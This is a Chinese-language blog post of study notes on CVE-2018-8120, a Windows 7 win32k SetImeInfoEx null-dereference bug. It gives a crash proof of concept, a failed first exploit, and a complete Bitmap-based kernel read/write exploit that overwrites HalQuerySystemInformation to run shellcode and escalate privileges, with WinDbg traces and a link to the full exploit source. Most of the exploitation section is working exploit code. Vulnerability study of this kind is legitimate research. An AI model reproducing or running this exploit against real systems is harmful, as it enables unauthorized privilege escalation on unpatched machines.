CVE-2018-8120提权漏洞学习笔记

VSole2022-05-06 16:38:38

简介

1、漏洞描述

该漏洞存在与win32k模块中的SetImeInfoEx函数,在该函数中未对tagWINDOWSTATION结构偏移0x14的spkiList进行有效性验证就对其进行解引用操作,而spkList可以为NULL,此时就会对地址0x14进行解引用操作,导致系统崩溃。通过在0地址申请内存的方式可以绕过解引用产生的系统崩溃,函数会继续向下运行执行写操作,通过这个写操作可以完成任意地址写,最终完成提权。

2、实验环境

  • 操作系统:Win7 x86 sp1 专业版
  • 编译器:Visual Studio 2017
  • 调试器:IDA Pro,WinDbg

漏洞分析

1、漏洞成因

SetImeInfoEx函数的反汇编结果如下:

图1  SetImeInfoEx函数反汇编

第1处的代码是取出参数pWinStation偏移0x14处的内容,参数pWinStation是tagWINDOWSTATION结构,该结构体定义如下:

2: kd> dt win32k!tagWINDOWSTATION   +0x000 dwSessionId      : Uint4B   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList       : Ptr32 tagDESKTOP   +0x00c pTerm            : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags      : Uint4B   +0x014 spklList         : Ptr32 tagKL   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen    : Ptr32 tagWND   +0x024 spwndClipViewer  : Ptr32 tagWND   +0x028 spwndClipOwner   : Ptr32 tagWND   +0x02c pClipBase        : Ptr32 tagCLIP   +0x030 cNumClipFormats  : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession   : _LUID   +0x04c luidUser         : _LUID   +0x054 psidUser         : Ptr32 Void

偏移0x14处的成员是spkList,该成员指向tagKL结构,结构体定义如下:

2: kd> dt win32k!tagKL   +0x000 head             : _HEAD   +0x008 pklNext          : Ptr32 tagKL   +0x00c pklPrev          : Ptr32 tagKL   +0x010 dwKL_Flags       : Uint4B   +0x014 hkl              : Ptr32 HKL__   +0x018 spkf             : Ptr32 tagKBDFILE   +0x01c spkfPrimary      : Ptr32 tagKBDFILE   +0x020 dwFontSigs       : Uint4B   +0x024 iBaseCharset     : Uint4B   +0x028 CodePage         : Uint2B   +0x02a wchDiacritic     : Wchar   +0x02c piiex            : Ptr32 tagIMEINFOEX   +0x030 uNumTbl          : Uint4B   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE   +0x038 dwLastKbdType    : Uint4B   +0x03c dwLastKbdSubType : Uint4B   +0x040 dwKLID           : Uint4B

获取spkList后,就在第2处进行对spkList偏移0x14处的地址进行解引用操作。可是,在执行2处的代码之前,函数并没有验证spkList是否合法。如果spkList为NULL,那么此时2处的代码就是对地址0x14进行解引用,因为0x14不是个合法地址,就回导致系统崩溃。

2、漏洞验证

要验证这个漏洞,需要两个步骤,首先这个漏洞是由于SetImeInfoEx函数对tagWINDOWSTATION结构体中的spkList成员操作产生的,需要首先调用函数CreateWindowStation来创建一个tagWINDOWSTATION结构体,该函数定义如下:

HWINSTA WINAPI CreateWindowStation(  __in_opt  LPCTSTR lpwinsta,            DWORD dwFlags,  __in      ACCESS_MASK dwDesiredAccess,  __in_opt  LPSECURITY_ATTRIBUTES lpsa);

创建完结构体以后,需要通过SetProcessWindowStation来为当前进程设置创建的tagWINDOWSTATION,该函数定义如下:

BOOL WINAPI SetProcessWindowStation(  __in  HWINSTA hWinSta);

为当前进程设置完结构体以后,就可以来触发漏洞,通过IDA交叉引用可以发现,只有NtUserSetImeInfoEx函数调用了SetImeInfoEx函数,该函数的反汇编结果如下:

在第1处,函数将参数内容复制到imeInfoEx中作为调用SetImeInfoEx函数的第二个参数,在2处通过调用GetProcessWindowStation来作为调用SetImeInfoEx函数的第一个参数。那么此时,第一个参数就是创建的tagWINDOWSTATION,第二个参数通过调用NtUserSetImeInfoEx时指定,也就是可以由我们来指定。

NtUserSetImeInfoEx函数是未导出函数,所以只能通过自己指定调用号产生系统调用来调用该函数,而NtUserSetImeInfoEx函数的调用号为0x1226,所以,可以使用如下代码来调用NtUserSetImeInfoEx函数:

BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0){    __asm    {        mov esi, arg0        mov eax, 0x1226           // NtUserSetImeInfoEx的调用号        mov edx, 0x7FFE0300        call dword ptr[edx]        ret 4    }}

由此,可以写出如下的POC:

BOOL POC_CVE_2018_8120(){    BOOL bRet = TRUE;    HWINSTA hSta = NULL;     // 创建tagWINDOWSTATION结构体    hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);    if (hSta == NULL)    {        ShowError("CreateWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     // 将创建的结构体设置到本进程中    if (!SetProcessWindowStation(hSta))    {        ShowError("SetProcessWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     char szBuf[0x15C] = { 0 };    CallNtUserSetImeInfoEx((PVOID)szBuf); exit:    return bRet;}

编译运行POC,此时系统就会崩溃,崩溃信息如下,可以看到,产生崩溃的指令是在对[eax+0x14]的地址进行解引用产生的,这条指令就对应图1中的第2处的代码,此时寄存器eax的值为0,所以执行这条指令时,会对0x14地址进行解引用,该地址是并不是有效地址,就导致了系统的崩溃。

nt!RtlpBreakWithStatusInstruction:83e95110 cc              int     3kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!SetImeInfoEx+0x17:969a007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> kChildEBP RetAddr  92085a90 969a003d win32k!SetImeInfoEx+0x1792085c28 83e581ea win32k!NtUserSetImeInfoEx+0x6592085c28 772870b4 nt!KiFastCallEntry+0x12a0012fd98 0040105f ntdll!KiFastSystemCallRet

漏洞利用

1、利用原理

由上内容可知,之所以产生崩溃是因为地址0x14是无效地址,因此,可以通过在0地址申请内存的方式让该地址有效,这样执行图1的第2处代码的时候就不会产生系统的崩溃,继续向下执行。在执行图1的第5处的代码的时候,会产生写操作。

函数会向spkList偏移0x2C处保存的地址进行写入操作,由于此时spkList为0,所以函数会向0x2C中保存的地址进行写入操作。写入的内容则由传入的参数决定,这个参数又可以在调用NtUserSetImeInfoEx函数时指定。

因此,可以通过将地址0x2C赋值为保存了HalQuerySystemInformation函数地址的地址,在调用NtUserSetImeInfoEx函数时指定参数的前4字节为ShellCode地址的方式,来对保存HalQuerySystemInformation函数地址的地址中的内容修改为ShellCode的地址,这样通过NtQueryIntervalProfile函数就可以调用ShellCode。

根据上述思路,此时就可以用以下的代码来实现提权:

BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;     // 0地址分配内存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     // 获取保存HalQuerySystemInformation函数地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 指定被写入的地址    *(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;    // 绕过while循环的验证    *(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;         char szBuf[0x15C] = { 0 };     // 指定要写入的内容是ShellCode的地址    *(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;    // 触发漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 调用NtQueryIntervalProfile    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    } exit:    return bRet;}

可是此时提权并不会成功,接下来通过WinDbg进行分析,首先运行到之前导致系统崩溃处的指令,也就是图1中第2处执行的代码,可以看到虽然此时eax依然为0,但是因为在0地址申请了内存,此时0x14地址是有效的,所以不会产生系统的崩溃。

3: kd> pwin32k!SetImeInfoEx+0x17:96ac007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> pwin32k!SetImeInfoEx+0x1a:96ac007f 740e            je      win32k!SetImeInfoEx+0x2a (96ac008f)

继续向下运行,就会执行到图1中第3处的代码,此时会将地址0x2C中保存的要修改的保存了HalQuerySystemInformation函数地址的地址赋值给eax,此时eax就不会为0,函数会继续运行。

3: kd> pwin32k!SetImeInfoEx+0x2a:96ac008f 8b402c          mov     eax,dword ptr [eax+2Ch]3: kd> pwin32k!SetImeInfoEx+0x2d:96ac0092 85c0            test    eax,eax3: kd> r eaxeax=83f6f3fc3: kd> pwin32k!SetImeInfoEx+0x2f:96ac0094 74f2            je      win32k!SetImeInfoEx+0x23 (96ac0088)

继续向下运行就会执行下面的判断指令,判断eax+0x48处保存的内容是否为0,如果不为0则会进行跳转,这两条指令对应的就是图1中的第4处代码。此时eax保存的是保存了HalQuerySystemInformation函数地址的地址,该地址偏移0x48处保存的内容并不为0,这样就跳过了memcpy函数的调用,不会成功执行写入操作,导致程序提权失败。

2、Bitmap

为了成功利用该漏洞,就需要通过BitMap来实现任意地址的读写操作。Bitmap对象的可以通过CreateBitmap函数创建,该函数定义如下:

HRESULT CreateBitmap(UINT uiWidth,                     UINT uiHeight,                     REFWICPixelFormatGUID pixelFormat,                     WICBitmapCreateCacheOption option,                     IWICBitmap **ppIBitmap);

当用户态程序通过CreateBitmap函数创建了一个Bitmap对象以后,就会在PEB结构中偏移0x094的成员GdiSharedHandleTable所指的结构体数组中增加一项该结构。

3: kd> dt _PEBntdll!_PEB   +0x000 InheritedAddressSpace : UChar    ...   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void   +0x094 GdiSharedHandleTable : Ptr32 Void   +0x098 ProcessStarterHelper : Ptr32 Void      ....

而GditSharedHandleTable所指的是GDICELL结构数组,该结构体定义如下:

typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;

其中第一项pKernelAddress指向了SURFACE结构体,该结构体定义如下:

typedef struct _SURFACE{    BASEOBJECT  BaseObject;     SURFOBJ     SurfObj;    //XDCOBJ *   pdcoAA;    FLONG       flags;    struct _PALETTE  * const ppal; // Use SURFACE_vSetPalette to assign a palette    struct _EWNDOBJ  *pWinObj;     union    {        HANDLE  hSecureUMPD;  // if UMPD_SURFACE set        HANDLE  hMirrorParent;// if MIRROR_SURFACE set        HANDLE  hDDSurface;   // if DIRECTDRAW_SURFACE set    };     SIZEL       sizlDim;      /* For SetBitmapDimension(), do NOT use                               to get width/height of bitmap, use                               bitmap.bmWidth/bitmap.bmHeight for                               that */     HDC         hdc;          // Doc in "Undocumented Windows", page 546, seems to be supported with XP.    ULONG       cRef;    HPALETTE    hpalHint;     /* For device-independent bitmaps: */    HANDLE      hDIBSection;    HANDLE      hSecure;    DWORD       dwOffset;    //UINT       unk_078;   /* reactos specific */    DWORD biClrImportant;} SURFACE, *PSURFACE;

该结构体中保存的前两个成员的结构如下:

typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10}BASEOBJECT, *POBJ; typedef struct _SURFOBJ {  DHSURF  dhsurf;  HSURF  hsurf;  DHPDEV  dhpdev;  HDEV  hdev;  SIZEL  sizlBitmap;  ULONG  cjBits;  PVOID  pvBits;  PVOID  pvScan0;  LONG  lDelta;  ULONG  iUniq;  ULONG  iBitmapFormat;  USHORT  iType;  USHORT  fjBitmap;} SURFOBJ;

其中SURFOBJ结构体中的pvScan0中保存的地址指向内核空间之中,在用户态可以通过GetBitmaps和SetBitmaps函数来对pvScan0指向的内核空间中的内容进行读写操作。此时可以创建两个Bitmap对象,分别是hWorker和hManager,这两个Bitmap对象对应的pvScan0分别是wpv和mpv。

通过漏洞的任意地址读写的功能,可以将wpv指向的数据复制到mpv中,此时通过SetBitmapBits来设置hManager的可修改地址为保存HalQuerySystemInformation函数地址的地址。

设置完成了hManager的可修改地址,此时就可以通过hWorker来对hManager的可修改地址,也就是保存HalQuerySystemInformation函数地址的地址进行读写。

这种方式之所以能完成,也是因为此时mpv所指向的地址偏移0x48处的内容为0,另外,因此复制的时候会复制0x15C个字节,所以mpv后面的内容要保证不被修改,就需要在复制的源地址处进行正确的赋值。

此时,漏洞利用的代码如下:

BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;    HBITMAP hManger = NULL, hWorker = NULL;    DWORD dwBuf[0x60] = { 0x90 };    PVOID mpv = NULL, wpv = NULL;    PVOID pOrgAddr = NULL;    PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;     // 0地址分配内存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);    hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);     if (!hManger || !hWorker)    {        ShowError("CreateBitmap", GetLastError());        bRet = FALSE;        goto exit;    }     mpv = GetPvScan(hManger);    wpv = GetPvScan(hWorker);     // 指定被写入的地址    *(PDWORD)(0x2C) = (DWORD)mpv;    // 绕过while循环的验证    *(PDWORD)(0x14) = (DWORD)wpv;         DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };     // 指定要写入的内容    szBuf[0] = (DWORD)wpv;    szBuf[1] = 0x180;    szBuf[2] = 0x1D95;    szBuf[3] = 6;    szBuf[4] = 0x10000;    szBuf[5] = 0x0;    szBuf[6] = 0x4800200;    // 触发漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 获取保存HalQuerySystemInformation函数地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址    SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);      // 获取可修改的地址中的内容    GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);        // 将可修改地址中的值修改为ShellCode地址    SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);          // 调用NtQueryIntervalProfile,执行ShellCode    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    }     // 将可修改地址中的内容恢复回去    SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);exit:    return bRet;} PVOID GetPvScan(HBITMAP hBitHandle){    DWORD dwGdiCellArray = GetGdiCellArray();     PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));         return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);} DWORD GetGdiCellArray(){    __asm    {        mov eax, fs:[0x30]            // eax = PEB        mov eax, [eax + 0x94]       // eax = GDICELL数组首地址    }}

此时在编译运行到图1的第4处验证,此时目标地址偏移0x48处的内容为0,函数不会发生跳转,接下去将执行复制操作。

随后的GetBitmapBits/SetBitmapBits就可以实现对HalQuerySystemInformation的修改,最终通过调用NtQueryIntervalProfile就会完成提权。

运行结果

完整的exp代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp

可以看到,运行exp以后会成功完成提权:

函数调用dword
本作品采用《CC 协议》,转载必须注明作者和本文链接
近期有使用手机投屏的需求,用过几个小工具感觉效果不是很理想,所以想着着手分析下。
概述在windows系统上,涉及到内核对象的功能函数,都需要从应用层权限转换到内核层权限,然后再执行想要的内核函数,最终将函数结果返回给应用层。本文就是用OpenProcess函数来观察函数从应用层到内核层的整体调用流程。OpenProcess函数,根据指定的进程ID,返回进程句柄。NTSTATUS Status; //保存函数执行状态。OBJECT_ATTRIBUTES Obja; //待打开对象的对象属性。HANDLE Handle; //存储打开的句柄。CLIENT_ID ClientId; //进程、线程ID. dwDesiredAccess, //预打开进程并获取对应的权限。ObjectNamePresent = ARGUMENT_PRESENT ; //判断对象名称是否为空
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
EXP编写学习之绕过GS
2023-02-20 09:58:16
栈中的守护天使 :GSGS原理向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。函数使用无保护的关键字标记。缓冲区不是8字节类型 且 大小不大于4个字节。可以为函数强制启用GS。
该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数,产生的原因是没有对该函数中调用的xxxMNFindWindowFromPoint函数的返回值进行合法性验证,直接将其作为参数传递给后面的xxxSendMessage函数调用,从而造成了提权漏洞。
反射式DLL注入实现
2022-05-13 15:59:21
反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技术自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。在函数返回之前,系统将执行一个额外的安全验证操作,被称做 Security check。
MITM Fuzz下图是用户层与内核层实现通信的过程,可以看到,最后是通过NtDeviceIoControlFile来分发给相应驱动对象的派遣函数的,因此,可以通过对该函数进行HOOK操作。如果将修改以后的数据发送给NtDeviceIoControlFile函数以后,发生了内核崩溃或蓝屏,往往预示着该驱动程序可能存在内核漏洞。
当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。往线程APC队列添加APC,系统会产生一个软中断。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。
shellcode编写探究
2022-06-09 15:34:57
前言shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。要使用字符串,需要使用字符数组。所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。
VSole
网络安全专家